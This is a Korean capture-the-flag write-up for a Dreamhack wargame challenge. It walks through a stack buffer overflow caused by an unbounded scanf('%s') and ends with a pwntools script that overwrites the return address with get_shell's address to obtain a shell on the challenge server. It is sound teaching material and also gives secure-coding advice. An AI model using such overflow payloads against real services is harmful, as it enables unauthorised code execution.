[System Hacking] Dreamhack - Return Address Overwrite 풀이
Return Address Overwrite
Description Exploit Tech: Return Address Overwrite에서 실습하는 문제입니다.
dreamhack.io
문제 설명
// Name: rao.c
// Compile: gcc -o rao rao.c -fno-stack-protector -no-pie
#include <stdio.h>
#include <unistd.h>
void init() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
}
void get_shell() {
char *cmd = "/bin/sh";
char *args[] = {cmd, NULL};
execve(cmd, args, NULL);
}
int main() {
char buf[0x28];
init();
printf("Input: ");
scanf("%s", buf);
return 0;
}
문제 풀이
# 1. 취약점 분석
주어진 코드의 main() 함수를 살펴보면 크기가 0x28인 버퍼에 scanf("%s", buf)로 입력을 받고 있다.
int main() {
char buf[0x28];
init();
printf("Input: ");
scanf("%s", buf);
return 0;
}
scanf 함수의 포맷 스트링 %s는 문자열을 입력받을 때 사용하는 것으로, 입력의 길이를 제한하지 않으며, 공백 문자(띄어쓰기, 탭, 개행 문자 등)가 들어올 때까지 계속 입력을 받는다. 따라서, 입력을 길게 준다면 스택 버퍼 오버플로우를 발생시켜서 main 함수의 반환 주소를 덮을 수 있을 것이다.
또한, get_shell() 함수를 실행하면 shell을 획득할 수 있다. 스택 버퍼 오버플로우 취약점을 이용해 반환 주소를 get_shell() 함수의 주소로 overwrite 하면 shell을 획득하여 flag 값을 알아낼 수 있을 것이다.
💡 scanf에 %s 포맷 스트링은 절대로 사용하지 말아야 하며, 정확히 n개의 문자만 입력받는 “%[n]s”의 형태로 사용해야 한다.
🔎 C/C++의 표준 함수 중, 버퍼를 다루면서 길이를 입력하지 않는 strcpy, strcat,sprintf 함수들은 대부분 위험하다. 버퍼의 크기를 같이 입력하는 strncpy, strncat, snprintf, fgets, memcpy 등을 사용하는 것이 바람직하다.
# 2. 트리거 (trigger)
🔎 발견한 취약점을 발현시켜 확인해보는 것을 트리거(trigger)라고 한다.

프로그램을 실행하고 "A"를 5개 입력하면 프로그램이 정상적으로 종료된다. 하지만, "A"를 64개 입력하면 Segmentation fault라는 에러가 출력되며, 프로그램이 비정상적으로 종료된다.
💡 core dumped는 코어 파일(core)을 생성했다는 의미이다. 코어 파일(core)은 프로그램이 비정상 종료됐을 때, 디버깅을 돕기 위해 운영체제가 생성해주는 것다.
🔎 코어 파일 크기 제한 해제하는 명령어 ulimit -c unlimited
# 3. 스택 프레임 구조 파악
스택 버퍼 오버플로우를 발생시키려면, 해당 버퍼가 스택 프레임의 어디에 위치하는지 조사해야 한다.

gdb를 이용해 main()의 어셈블리 코드에서 scanf() 부분을 살펴본다.
lea rax, [rbp - 0x30]
rbp - 0x30 주소를 계산하여 rax에 저장한다.
사용자 입력값이 저장될 버퍼의 시작 주소를 설정하는 것이다.
즉, 버퍼는 rbp-0x30에 위치한다.
스택 프레임의 구조를 떠올려보면, rbp에 스택 프레임 포인터(SFP)가 저장되고, rbp+0x8 에는 반환 주소가 저장된다. 입력할 버퍼와 반환 주소 사이에 0x38만큼의 거리가 있으므로, 그만큼을 dummy data로 채우고, 실행하고자 하는 코드의 주소를 입력하면 실행 흐름을 조작할 수 있다.

# 4. get_shell() 주소 확인
get_shell() 함수의 주소로 main 함수의 반환 주소를 덮어서 셸을 획득할 수 있다.
gdb를 활용하여 get_shell()의 주소를 알아낸다.

# 5. 페이로드 구성
이제 익스플로잇에 사용할 페이로드(Payload)를 구성한다.
🔎 시스템 해킹에서 페이로드는 공격을 위해 프로그램에 전달하는 데이터를 의미한다.

# 6. 엔디언 적용
리틀 엔디언을 사용하는 인텔 x86-64아키텍처를 대상으로 하므로, 아래 코드를 이용해 get_shell() 함수의 주소를 리틀 엔디안 형식으로 변환한다.
endian.c
#include <stdio.h>
int main() {
unsigned long long n = 0x4006aa;
printf("Low <-----------------------> High\n");
for (int i = 0; i < 8; i++) printf("0x%hhx ", *((unsigned char*)(&n) + i));
return 0;
}

# 7. 익스플로잇 코드 작성
pwn 라이브러리를 사용해 아래와 같이 python 코드를 작성하고 실행하면 flag를 구할 수 있다.
from pwn import *
p = remote("host1.dreamhack.games", 12554)
context.arch = "amd64"
# 더미 데이터 + get_shell()의 주소 (실제 찾은 주소로는 실행되지 않아 로드맵에 나오는 주소로 진행)
payload = b'A'*0x30 + b'B'*0x8 + b'\xaa\x06\x40\x00\x00\x00\x00\x00'
# 원격 서버로 데이터를 전송
p.sendafter("Input: ", payload)
# 사용자가 원격 서버와 상호작용
p.interactive()
